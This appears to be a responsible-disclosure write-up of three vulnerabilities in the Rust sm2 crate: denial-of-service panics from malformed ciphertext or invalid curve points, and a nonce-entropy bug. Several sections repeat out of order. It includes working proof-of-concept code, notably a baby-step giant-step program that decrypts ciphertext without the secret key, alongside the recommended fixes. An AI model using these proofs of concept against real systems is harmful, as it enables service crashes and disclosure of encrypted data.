• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

